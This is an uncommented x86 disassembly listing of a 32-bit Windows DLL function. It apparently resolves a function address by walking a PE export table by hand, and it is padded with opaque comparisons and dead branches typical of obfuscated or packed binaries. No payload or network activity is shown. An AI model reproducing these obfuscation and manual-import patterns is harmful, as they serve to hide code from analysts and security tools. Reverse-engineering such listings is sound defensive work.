mov ecx, dword [ebp - 0xfc]
mov edx, dword [ebp - 0x1b4]
add edx, dword [ecx + 0x1c]
lea eax, [edx + eax*4]
mov dword [ebp - 0xd18], eax
mov eax, dword [ebp - 0xd18]
mov ecx, dword [ebp - 0x1b4]
add ecx, dword [eax]
mov dword [ebp - 0xe8], ecx
mov dword [ebp - 0x40], 4
mov dword [ebp - 0x478], 0x7a7bc6c8
mov dword [ebp - 0xc84], 2
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x1184], eax
mov eax, dword [ebp - 0x40]
cmp eax, dword [ebp - 0x40]
jge 0x1002006d
mov dword [ebp - 0x40], 0
jmp 0x10020046
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0x2b
jl 0x10020068
mov byte [ebp - 0x17a], 0
movzx eax, byte [ebp - 0x17a]
test eax, eax
je 0x10020066
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
jmp 0x1002003f
jmp 0x10020225
mov dword [ebp - 0xf4], 0
mov dword [ebp - 0x8c0], 0x90635300
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0x1058], eax
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0x118c], eax
mov eax, dword [ebp - 0xf4]
cmp eax, dword [ebp - 0xf4]
jne 0x100200b3
mov dword [ebp - 0x890], 1
jmp 0x100200ba
and dword [ebp - 0x890], 0
mov eax, dword [ebp - 0xf4]
cmp dword [ebp - 0x890], eax
jle 0x100200d4
mov dword [ebp - 0x898], 1
jmp 0x100200db
and dword [ebp - 0x898], 0
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x898], eax
jle 0x100200f2
mov dword [ebp - 0x8a0], 1
jmp 0x100200f9
and dword [ebp - 0x8a0], 0
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x8a0], eax
je 0x10020110
mov dword [ebp - 0x8a8], 1
jmp 0x10020117
and dword [ebp - 0x8a8], 0
imul eax, dword [ebp - 0x8a8], 0x489f
add eax, dword [ebp - 0xf4]
add eax, dword [ebp - 0x40]
mov dword [ebp - 0x478], eax
jne 0x1002013e
mov dword [ebp - 0x8b0], 1
jmp 0x10020145
and dword [ebp - 0x8b0], 0
mov eax, dword [ebp - 0xf4]
cmp dword [ebp - 0x8b0], eax
jge 0x1002015f
mov dword [ebp - 0x8b8], 1
jmp 0x10020166
and dword [ebp - 0x8b8], 0
mov eax, dword [ebp - 0x8b8]
mov dword [ebp - 0x8c0], eax
mov eax, dword [ebp - 0x8c0]
cmp eax, dword [ebp - 0x40]
jge 0x10020189
mov dword [ebp - 0x8c8], 1
jmp 0x10020190
and dword [ebp - 0x8c8], 0
mov eax, dword [ebp - 0xf4]
cmp dword [ebp - 0x8c8], eax
je 0x100201b0
cmp dword [ebp - 0x40], 0
je 0x100201b0
mov dword [ebp - 0x8d0], 1
jmp 0x100201b7
and dword [ebp - 0x8d0], 0
mov eax, dword [ebp - 0x8d0]
inc eax
je 0x100201d5
cmp dword [ebp - 0x478], 0
je 0x100201d5
mov dword [ebp - 0x8d8], 1
jmp 0x100201dc
and dword [ebp - 0x8d8], 0
cmp dword [ebp - 0x8d8], 6
je 0x100201f6
xor eax, eax
inc eax
je 0x100201f6
mov dword [ebp - 0x8e0], 1
jmp 0x100201fd
and dword [ebp - 0x8e0], 0
cmp dword [ebp - 0x8e0], 8
je 0x10020212
mov dword [ebp - 0x8e8], 1
jmp 0x10020219
and dword [ebp - 0x8e8], 0
mov eax, dword [ebp - 0x8e8]
mov dword [ebp - 0xc84], eax
mov eax, dword [ebp - 0xe8]
cmp eax, dword [ebp - 0xfc]
jbe 0x10020d74
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x230]
mov edx, dword [ebp - 0xfc]
add edx, dword [ecx + eax + 0x7c]
cmp dword [ebp - 0xe8], edx
jae 0x10020d74
mov eax, dword [0x1098d0d8]
and eax, 2
jne 0x1002028b
mov eax, dword [0x1098d0d8]
or eax, 2
mov dword [0x1098d0d8], eax
mov dword [ebp - 4], 0x36
push 0x391b
call fcn.1002ec24
pop ecx
mov byte [0x1098d120], al
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x918], 0x318d5816
mov dword [ebp - 0x104], 0xfffffffb
push 3
lea ecx, [ebp - 0xca8]
call fcn.100223ce
mov dword [ebp - 4], 0x37
mov dword [ebp - 0x908], 0x97341720
mov dword [ebp - 0x920], 0xf4a0426a
mov dword [ebp - 0xcc], 0
jmp 0x100202e0
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 3
jge 0x10020302
push dword [ebp - 0xcc]
lea ecx, [ebp - 0xca8]
call fcn.1002246c
mov dword [eax], 0xfff9
jmp 0x100202d3
mov dword [ebp - 0xcc], 0
jmp 0x1002031b
cmp dword [ebp - 0xcc], 1
jge 0x10020337
mov eax, dword [ebp - 0xcc]
mov dword [ebp + eax*4 - 0xd20], 1
jmp 0x1002030e
mov byte [ebp - 0x17c], 0
movzx eax, byte [ebp - 0x17c]
test eax, eax
je 0x10020359
mov eax, dword [ebp - 0xe8]
jmp 0x10020f67
mov dword [ebp - 0x370], 0
mov dword [ebp - 0x1a0], 0xb0e446df
mov dword [ebp - 0x990], 0xfffffffc
push 2
lea ecx, [ebp - 0xdb0]
call fcn.100223ce
mov dword [ebp - 4], 0x41
mov dword [ebp - 0x9a0], 0xfffffffc
mov dword [ebp - 0x9a8], 0xfffffff8
push 2
lea ecx, [ebp - 0xe84]
call fcn.100223ce
mov byte [ebp - 4], 0x42
mov dword [ebp - 0xc0], 0
jmp 0x10020def
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 2
jge 0x10020e11
push dword [ebp - 0xc0]
lea ecx, [ebp - 0xdb0]
call fcn.1002246c
mov dword [eax], 0xfffffffc
jmp 0x10020de2
mov dword [ebp - 0xc0], 0
jmp 0x10020e2a
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 2
jge 0x10020e4c
push dword [ebp - 0xc0]
lea ecx, [ebp - 0xe84]
call fcn.1002246c
mov dword [eax], 0x87a5eafb
jmp 0x10020e1d
mov eax, dword [ebp - 0x370]
add eax, dword [ebp - 0x370]
mov dword [ebp - 0x1a0], eax
mov eax, dword [ebp - 0x1a0]
mov dword [ebp - 0x1070], eax
mov eax, dword [ebp - 0x370]
mov dword [ebp - 0x990], eax
mov eax, dword [ebp - 0x990]
mov dword [ebp - 0x998], eax
push 1
lea ecx, [ebp - 0xdb0]
call fcn.1002246c
mov ecx, dword [ebp - 0x998]
mov dword [eax], ecx
mov eax, dword [ebp - 0x998]
mov dword [ebp - 0x9a0], eax
mov eax, dword [ebp - 0x9a0]
mov dword [ebp - 0x9a8], eax
mov eax, dword [ebp - 0x9a8]
mov dword [ebp - 0x11f8], eax
mov eax, dword [ebp - 0x1a0]
mov dword [ebp - 0x1078], eax
push 1
lea ecx, [ebp - 0xe84]
call fcn.1002246c
cmp dword [ebp - 0x1a0], 0xffffffff
jne 0x10020ee9
mov dword [ebp - 0x9b0], 1
jmp 0x10020ef0
and dword [ebp - 0x9b0], 0
mov eax, dword [ebp - 0x370]
cmp dword [ebp - 0x9b0], eax
je 0x10020f0a
mov dword [ebp - 0xd30], 1
jmp 0x10020f11
and dword [ebp - 0xd30], 0
mov esi, dword [ebp - 0x1a0]
push 1
lea ecx, [ebp - 0xdb0]
call fcn.1002246c
cmp dword [eax], esi
jge 0x10020f34
mov dword [ebp - 0x9b8], 1
jmp 0x10020f3b
and dword [ebp - 0x9b8], 0
mov eax, dword [ebp - 0x9b8]
mov dword [ebp - 0x1a0], eax
mov byte [ebp - 4], 0x41
lea ecx, [ebp - 0xe84]
call fcn.10022450
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xdb0]
call fcn.10022450
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret